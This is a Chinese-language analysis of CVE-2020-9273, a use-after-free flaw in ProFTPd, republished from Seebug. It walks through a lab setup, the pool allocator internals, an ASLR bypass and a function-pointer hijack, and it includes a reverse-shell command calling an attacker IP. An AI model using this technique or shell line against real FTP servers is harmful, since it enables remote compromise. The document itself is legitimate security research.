7

CVE-2020-9273 ProFTPd RCE 漏洞分析与利用

 2 years ago
source link: https://paper.seebug.org/2032/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

CVE-2020-9273 ProFTPd RCE 漏洞分析与利用

1小时之前2022年12月01日漏洞分析

作者:knaithe@天玄安全实验室
原文链接:https://mp.weixin.qq.com/s/gu6O-ZSIiVpNJP1I9O94wQ

漏洞描述:UAF类型的漏洞,通过伪造pool_rec内存池控制结构,可以篡改函数指针,从而达到任意命令执行。

漏洞修复https://github.com/proftpd/proftpd/commit/d388f7904d4c9a6d0ea54237b8b54a57c19d8d49

影响版本:小于v1.3.7rc3

测试版本:v1.3.7rc2

保护机制:Canary/NX/Full RelRO(ubuntu 18.04版本)

调试环境/目标机器:ubuntu 18.04

ProFTPd源码编译及部署

// 安装依赖
apt-get install -y build-essential net-tools git 

// 源码下载
git clone https://github.com/proftpd/proftpd.git

// 切换到存在漏洞分支
git checkout -b 1.3.7rc2 v1.3.7rc2

// 生成Makefile文件,带gdb调试信息
./configure CFLAGS="-ggdb -O0" --with-modules=mod_copy --prefix=/usr --enable-openssl

// 编译
make -j4

// 打包
apt install -y checkinstall

// 含debug信息
checkinstall -D \
--pkgname='ProFTPd' \
--pkgversion="1.3.7rc2" \
--maintainer="[email protected]" \
--install=no \
--strip=no \
--stripso=no

创建匿名用户

groupadd ftp #添加ftp组
useradd ftp -g ftp -d /var/ftp #添加ftp用户
passwd ftp #设置匿名ftp用户密码为ftp

proftpd.conf匿名登录配置:如果没有/usr/etc/proftpd.conf这个文件,将以下内容写入。

# This is a basic ProFTPD configuration file (rename it to 
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName          "ProFTPD Default Installation"
ServerType          standalone
DefaultServer           on

# Port 21 is the standard FTP port.
Port                21

# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask               022

# To prevent DoS attacks, set the maximum number of child processes
# to 30.  If you need to allow more than 30 concurrent connections
# at once, simply increase this value.  Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances            30

# Set the user and group under which the server will run.
User                nobody
Group               nogroup

# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~

# Normally, we want files to be overwriteable.
<Directory />
  AllowOverwrite        on
</Directory>

# A basic anonymous configuration, no upload directories.  If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
  User              ftp
  Group             ftp

  # We want clients to be able to login with "anonymous" as well as "ftp"
  UserAlias         anonymous ftp

  # Limit the maximum number of anonymous logins
  MaxClients            10

  # We want 'welcome.msg' displayed at login, and '.message' displayed
  # in each newly chdired directory.
  DisplayLogin          welcome.msg
  #DisplayFirstChdir        .message

  # Limit WRITE everywhere in the anonymous chroot
  #<Limit WRITE>
  #  DenyAll
  #</Limit>
</Anonymous>

如果有/usr/etc/proftpd.conf这个文件,则注释掉下面三行配置,允许匿名用户上传文件。

  #<Limit WRITE>
  #  DenyAll
  #</Limit>

启动proftpd服务

// 直接执行
/usr/sbin/proftpd

gdb调试:关闭系统ASLR,同时注释掉exp里绕获取maps的连接的线程,让proftpd第一个子进程就是漏洞进程,暂时没有找到其它方法在多个子进程里打断点。

gdb /usr/sbin/proftpd \
 -ex "set detach-on-fork on" \
 -ex "set follow-fork-mode child" \
 -ex "set breakpoint pending on" \
 -ex "b xfer_stor" \
 -ex "b pr_data_xfer" \
 -ex "b pr_data_abort" \
 -ex "b _exit"

ProFTPD介绍

proftpd服务全程是Professional FTP daemon,是目前最为流行的FTP服务软件,相比于vsfptd,proftpd配置灵活,可配置选项更多,支持匿名、虚拟主机等多种环境部署,proftpd对中文环境兼容比vsftpd要好,相对于vsftpd使用效率要高很多,但是proftpd安全性相较vsfptd差一点。

proftpd的内存管理是在原有的glibc内置的ptmalloc2内存分配器的基础上重新封装的一套内存池管理机制,根据proftpd自己的文档描述,该alloc_pool机制源于apache的开源项目,至于是源于apache哪个开源项目,proftpd文档里并没有说明,我也没有在apache的项目里找到该内存池源码,毕竟apache的项目成千上万。

1669361163076

内存池分配器介绍

#define CLICK_SZ (sizeof(union align))

CLICK_SZ是一个宏,代表内存对齐的长度,64位系统的值为8。

block_hdr
union block_hdr {
  union align a;

  /* Padding */
#if defined(_LP64) || defined(__LP64__)
  char pad[32];
#endif

  /* Actual header */
  struct {
    void *endp;
    union block_hdr *next;
    void *first_avail;
  } h;
};

每一个通过alloc_pool()或者make_sub_pool()函数分配的内存块,都一个union block_hdr,是用来描述当前内存块的状态。

  • h->endp:指向当前内存块的末尾地址。
  • h->next:指向内存块链表的下一个内存块。
  • h->first_avail:指向当前内存块空闲区域的首地址。
pool_rec
struct pool_rec {
  union block_hdr *first;
  union block_hdr *last;
  struct cleanup *cleanups;
  struct pool_rec *sub_pools;
  struct pool_rec *sub_next;
  struct pool_rec *sub_prev;
  struct pool_rec *parent;
  char *free_first_avail;
  const char *tag;
};

struct pool_rec是用来记录每一个pool状态的结构,关键成员变量的含义描述如下。

first:当前pool链表中,第一个pool的指针。

last:当前pool链表中,最后一个pool的指针。

cleanups:指向cleanup_t结构体,该结构体在释放pool时会用到。

sub_pools:指向当前pool的sub pool。

sub_next:指向当前pool的后一个pool。

sub_prev:指向当前pool的前一个pool。

parent:指向当前pool的父pool。

free_first_avail:指向当前pool内存块的可分配首地址。

tag:可以理解为pool的标签或者名称,比如session pool、table pool。

alloc_pool

alloc_pool()函数是palloc()、pallocsz()、pcalloc()、pcallocsz()、make_array()等等一系列内存分配函数的底层核心函数,这些函数只对alloc_pool()函数做了简单的封装,我们还是重点介绍alloc_pool()核心函数。

static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {
  // 根据请求分配内存大小reqsz的值,按CLICK_SZ对齐计算所需内存大小sz
  /* Round up requested size to an even number of aligned units */
  size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
  size_t sz = nclicks * CLICK_SZ;
  union block_hdr *blok;
  char *first_avail, *new_first_avail;

  /* For performance, see if space is available in the most recently
   * allocated block.
   */
  // 从pool中取出最近可用的内存块,如果该pool为空,则函数返回NULL
  blok = p->last;
  if (blok == NULL) {
    errno = EINVAL;
    return NULL;
  }
  // 计算出当前pool最近有内存块的空闲区域首地址赋值给first_avail
  first_avail = blok->h.first_avail;
  // 如果请求分配内存大小reqsz为0,函数直接返回NULL
  if (reqsz == 0) {
    /* Don't try to allocate memory of zero length.
     *
     * This should NOT happen normally; if it does, by returning NULL we
     * almost guarantee a null pointer dereference.
     */
    errno = EINVAL;
    return NULL;
  }
  // 根据当前pool可用内存块的空闲区域首地址 + 所需内存大小sz = 计算所需内存大小sz的末尾地址
  new_first_avail = first_avail + sz;
  // 计算所需内存大小sz的末尾地址,如果小于等于当前内存块blok的末尾地址,表示当前内存块blok有足够的内分配给用户,并更新当前内存块blok的可用内存首地址,并返回分配的内存的地址。
  if (new_first_avail <= (char *) blok->h.endp) {
    blok->h.first_avail = new_first_avail;  // 并更新当前内存块blok的空闲区域首地址
    return (void *) first_avail;
  }

  /* Need a new one that's big enough */
  pr_alarms_block();
  // 如果当前blok不足以满足sz,则重新向ptmalloc内存分配器申请内存块,并添加到当前pool中
  blok = new_block(sz, exact);
  p->last->h.next = blok;   // 记录当前pool最近内存块头部链表的下一个指向新申请的blok
  p->last = blok;           // 将新申请的blok添加到当前pool的内存块链表的末端
  // first_avail指向新申请的blok空闲区域首地址
  first_avail = blok->h.first_avail;
  // 计算所需内存大小sz的末尾地址,也就是新的first_avail地址
  blok->h.first_avail = sz + (char *) blok->h.first_avail; 

  pr_alarms_unblock();
  return (void *) first_avail;
}
new_block

new_block()函数首先while循环遍历block的空闲链表是否有可用的block,没有则向ptmalloc2内存分配器申请新的内存块。

static union block_hdr *new_block(int minsz, int exact) {
  union block_hdr **lastptr = &block_freelist;
  union block_hdr *blok = block_freelist;
  // exact表示minsz大小是否准确,如果exact=false,则minsz还需要加上512字节,反之则不用
  if (!exact) {
    minsz = 1 + ((minsz - 1) / BLOCK_MINFREE);
    minsz *= BLOCK_MINFREE;
  }

  // 遍历block freelist是否有符合要求的block,有则返回符合要求的block
  while (blok) {
    if (minsz <= ((char *) blok->h.endp - (char *) blok->h.first_avail)) {
      *lastptr = blok->h.next;
      blok->h.next = NULL;

      stat_freehit++;
      return blok;
    }

    lastptr = &blok->h.next;
    blok = blok->h.next;
  }

  // block的空闲链表没有符合要求的block则从ptmalloc内存分配器申请
  /* Nope...damn.  Have to malloc() a new one. */
  stat_malloc++;
  return malloc_block(minsz);
}
malloc_block

malloc_block()函数间接调用了malloc()函数申请新内存,并初始化新内存块的block头信息

  1. h.next置空。
  2. h.first_avail指向新内存块偏移sizeof(union block_hdr)大小之后。
  3. h.endp指向内存新内存块的block地址结尾。
static union block_hdr *malloc_block(size_t size) {
  // 间接调用malloc函数,申请内存大小 = 申请对齐后内存的大小 + block头大小
  union block_hdr *blok =
    (union block_hdr *) smalloc(size + sizeof(union block_hdr));
  // 更新新内存block的头信息
  blok->h.next = NULL;
  blok->h.first_avail = (char *) (blok + 1);
  blok->h.endp = size + (char *) blok->h.first_avail;

  return blok;
}
make_sub_pool

make_sub_pool()函数用于在当前pool里申请new_pool,并赋值给当前pool的sub_pool字段,

struct pool_rec *make_sub_pool(struct pool_rec *p) {
  union block_hdr *blok;
  pool *new_pool;

  pr_alarms_block();
  // 创建一个512字节的内存块
  blok = new_block(0, FALSE);
  // new_pool指向新创建的blok的block_hdr后,first_avail向后挪动pool hdr的大小
  new_pool = (pool *) blok->h.first_avail;
  blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;
  // 给new_pool的头初始化为0
  memset(new_pool, 0, sizeof(struct pool_rec));
  new_pool->free_first_avail = blok->h.first_avail; //初始化new_pool的free_first_avail
  new_pool->first = new_pool->last = blok; //初始化new_pool的first和last为blok
  // 如果p为真,将new_pool的parent设置为p,new_pool的sub_next设置为p的sub_pools
  if (p) {
    new_pool->parent = p;
    new_pool->sub_next = p->sub_pools;
    // 如果p的sub_pools不为空,就将new_pool插入到p的sub_pools里其它pool之前
    if (new_pool->sub_next)
      new_pool->sub_next->sub_prev = new_pool;
    // 将new_pool插入到p的sub_pools里
    p->sub_pools = new_pool;
  }

  pr_alarms_unblock();

  return new_pool;
}

为了方便触发漏洞,这里我们先关闭系统地址空间布局随机化(ASLR)。

echo 0 > /proc/sys/kernel/randomize_va_space

然后在启动proftpd,这里我们可以启动无子进程方式,需要加上参数-X

/usr/sbin/proftpd -X -n -d10

poc大致步骤

第一步,创建线程A监听本地端口3247等待连接,线程A阻塞住,创建线程B,连接目标ip和端口,端口为21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服务连上了。

第二步,线程B,发送两条指令,用来登录,第一条指令‘USER xxx’,第二条指令‘PASS mmm’,xxx代表用户名,mmm代表密码,返回230开头的信息,表示身份验证通过,登录成功。

第三步,线程B,发送一条指令‘TYPE I’,返回‘200 Type set to I\r\n’,接着发送PORT命令,切换proftpd服务为主动模式,让服务器来连接攻击者的客户端线程A监听的端口,然后再发送一条命令STOR,上传任意文件,为了开通一个数据传输通道,当线程A收到proftpd服务发出的连接请求后会停止阻塞,想办法让线程停住,可以通过全局变量+while循环来控制。

第四步,线程B,继续发送一段命令A给proftpd server,发送完,让线程A停止等待,立马让线程A也发送一段垃圾数据给proftpd服务,由于proftpd服务先收到线程B的发送的上传文件的命令,程序进入mod_xfer处理线程B上传文件,并且在poll_ctrl()调用pr_cmd_read()接收到命令A,然后又接收了线程A的垃圾数据写入进命令A所在的cmd_rec所指向的pool,后续调用strdup时,访问了这个pool,因为写入的垃圾数据,导致strdup函数访问pool时读取的是垃圾数据并取了地址,出现非法内存的段错误。

漏洞触发

proftpd debug模式运行的崩溃界面,

1669688838932

在gdb调试环境里看到的崩溃堆栈,

1669694343356

绕过ASLR

前提条件:需要proftpd支持mod_copy模块,执行configure文件时加上--with-modules=mod_copy参数,这样proftpd才能支持拷贝粘贴的能力,site cpfr为拷贝,site cpto为粘贴。

绕过思路:ASLR绕过相对较为简单,proftpd支持mod_copy模块,在登录上proftpd服务后,proftpd可以拷贝自身/proc/self/maps来获取进程内堆、代码段、libc的起始地址,proftpd默认模块里,有下载的命令retr,但是没法直接下载/proc/self/maps文件,所以将/proc/self/maps拷贝到/tmp目录下,然后把/tmp/maps文件下载下来,可以得到类似这样的文本内容。

1669357489968

篡改plain_cleanup_cb

利用思路:类似于在ptmalloc2里,劫持__free_hook函数指针一样,在proftpd里,通过劫持struct cleanup里的void (*plain_cleanup_cb)(void *)函数指针,来控制执行流,从而达到任意命令执行。

不同:在ptmalloc2里,比较常见的是对__free_hook函数指针进行劫持,来控制执行流,__free_hook函数指针是一个全局变量,所以__free_hook的地址相对于libc.so的基址是固定偏移,只要知道了libc在进程中的起始地址,是可以算出__free_hook函数指针这个变量的地址的,只要有稳定的任意地址写,即可稳定利用,大致内存关系可参考下图。

1669624936326

但是在proftpd服务的内存池palloc里,palloc在释放内存池的时候,能劫持的函数指针,目前比较合适的只有pool_rec->cleanups->plain_cleanup_cb这个函数指针,想要篡改plain_cleanup_cb这个函数指针,就需要知道pool_rec->cleanups->plain_cleanup_cb的地址并对其写入我们想要的数据。pool_rec->cleanups是当前释放的内存池pool的管理结构struct pool_rec的成员,每个pool的管理结构block_hdrstruct pool_rec都在heap段,plain_cleanup_cb的地址也在heap段,这样就很难通过偏移计算plain_cleanup_cb在heap段的地址,就很难稳定的利用plain_cleanup_cb劫持来执行任意代码,pool的内存关系可参考下图。

1669624287525

(注:在64位系统里,palloc内存池按8字节对齐分配内存)

任意地址写cmd->pool是线程A控制的内容fake_pool,通过伪造cmd->pool的内容,借用make_sub_pool()函数的任意地址写(这个任意写内容不可控)绕过pr_cmd_get_displayable_str()函数内的pr_table_get()对"displayable-str"字符串的检索,使其检索失败,继续执行并调用pstrdup(cmd->pool, res)函数,res是线程B控制的内容,pstrdup()函数类似于字符串拷贝,通过将cmd->pool->sub_prev指向gid_tab的地址向前一部分的偏移,以此来篡改gid_tab->pool的地址内容指向cmd->pool - 0x10的地址,这样在释放gid_tab时就会同时释放掉gid_tab->pool,便可调用我们控制的cleanups,从而达到任意命令执行。

利用步骤

前三步和漏洞触发流程一样,

第一步,创建线程A监听本地端口3247等待连接,线程A阻塞住,创建线程B,连接目标ip和端口,端口为21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服务连上了。

第二步,线程B,发送两条指令,用来登录,第一条指令‘USER xxx’,第二条指令‘PASS mmm’,xxx代表用户名,mmm代表密码,返回230开头的信息,表示身份验证通过,登录成功。

第三步,线程B,发送一条指令‘TYPE I’,返回‘200 Type set to I\r\n’,接着发送PORT命令,切换proftpd服务为主动模式,让服务器来连接攻击者的客户端线程A监听的端口,然后再发送一条命令STOR,上传任意文件,开通一个数据传输通道,当线程A收到proftpd服务发出的连接请求后,想办法让线程停住,可以通过全局变量+while循环来控制。

从第四步开始有些不同,

第四步,线程B,继续发送一段命令A给proftpd服务,这个命令A内容是特意构造的,就是我们控制pr_cmd_get_displayable_str()函数里pstrdup(cmd->pool, res)函数的第二个参数res,构造的内容包含cmd->pool - 0x10的地址,发送完,让线程A停止等待,立马让线程A发送一段数据给proftpd服务,这次不是再垃圾数据,是我们精心构造好的恶意的pool_reccleanup_tblok_hdr和反弹shell的命令,后面分别用fake_pool_recfake_cleanup_tfake_blok_hdrgCmd来代表,到此,就等待反弹shell吧。

构造shellcode

说明,这次shellcode的构建,不同于ptmalloc2的内存管理,这次涉及到大家不熟悉的palloc内存池管理,利用内存池及其控制结构pool_rec和blok_hdr来完成利用,第一次理解起来可能麻烦点,如果大家很熟悉palloc内存池内存池的利用,可以忽略这句话。

再上述的利用第四步中,线程B发送的命令,会在poll_ctrl()函数里第933行调用pr_cmd_read()读取。

1669712411511

线程A发送的shellcode,会在pr_data_xfer()函数第1265行被pr_netio_read()函数读取。

1669709854648

pr_netio_read()函数的参数cl_buf,在xfer_stor()函数第2026行从cmd分配的sub_pool,所以线程A发送的shellcode直接占据了pool_rec及后面的内存,shellcode伪造的内容及关系图如下。

1669719720822

gid_tabcmd->poolcmd->notescmd->notes->chains,这4个都是堆上的地址,我们都需要提前计算相对heap偏移。

线程A发送完shellcode后,进入任意写的流程,会再次调用data.c:933行的pr_cmd_read()函数,此次读到返回小于0,进入if判断,进入pr_session_disconnect()函数, 然后会进入到xfer_exit_ev()函数,调用链为main()->standalone_main()->daemon_loop()->fork_server()->cmd_loop()->pr_cmd_dispatch()->pr_cmd_dispatch_phase()->_dispatch()->pr_module_call()->xfer_stor()->pr_data_xfer()->poll_ctrl()->pr_session_disconnect()->pr_session_end->sess_cleanup()->pr_event_generate()->xfer_exit_ev()。然后xfer_exit_ev()函数会继续调用pr_cmd_dispatch_phase()_dispatch()函数,到了main.c:287行调用make_sub_pool()函数。

1669714503176

第一个任意地址写,但是写的内容不可控制,在make_sub_pool()函数里,通过箭头指向的两条语句,任意写的内容是new_pool的地址,伪造p->sub_pools指向cmd->notes - 0x10,这样new_pool->sub_next等于cmd->notes - 0x10new_pool->sub_next->sub_prev等同于指向cmd->notes->chains,这个任意写地址内容就是new_pool的地址,内控不可控,不能直接篡改plain_cleanup_cb函数指针写入我们想要的内容,所以第一个任意写内容不可控。

1669714333493

但是我们可以借助这个内容不可控的任意写,篡改cmd->notes->chains的地址。执行完make_sub_pool()函数,紧接着调用pr_cmd_get_displayable_str()函数,cmd.c:374行任意写的地方,内容是可控的,res是线程B发送命令的第二个参数。

1669714720749

在不篡改cmd->notes->chains的情况下,程序会在调用完res = pr_table_get(cmd->notes, "displayable-str", NULL)进入if判断并退出pr_cmd_get_displayable_str()函数,在篡改完cmd->notes->chains的情况下,pr_table_get()函数会返回NULL,继续执行到pstrdup(cmd->pool, res),具体细节自行调试。

1669772818768

当我们伪造的fake_pool_rec->sub_prev字段指向gid_tab-0x90,伪造res的内容为cmd->pool - 0x10,恰好在pstrdup(cmd->pool, res)时,res写入的地址刚好是gid_tab的前8字节,也就是gid_tab->pool的地址为cmd->pool - 0x10,如此一来gid_tab->pool->cleanups的地址便指向了cmd->pool->firstcmd->pool->first通过构造指向了cmd->pool->first + 0x50也就是fake_cleanups,所以当调用pr_table_free(gid_tab)时,最终会调用到run_cleanups()函数,参数为fake_cleanups,fake_cleanups是我们伪造好的,fake_cleanups->data指向一段比如反弹shell的命令bash -c "bash -i>& /dev/tcp/192.168.38.132/8000 0>&1" \x00fake_cleanups->plain_cleanup_cb指向system的地址,即可通过system函数调用反弹shell命令。

但有一点,fake_blok_hdr->end必须远大于fake_blok_hdr->first_avail,建议0x300以上。

1669773222238

执行结果

1669775131847

有三个必须注意到的点,

  1. 建议关闭系统ASLR调试和利用。
  2. gid_tabcmd->poolcmd->notescmd->notes->chains,这4个都是堆上的地址,我们都需要提前计算相对heap偏移。
  3. 本次利用并不稳定,仅供学习。

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/2032/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK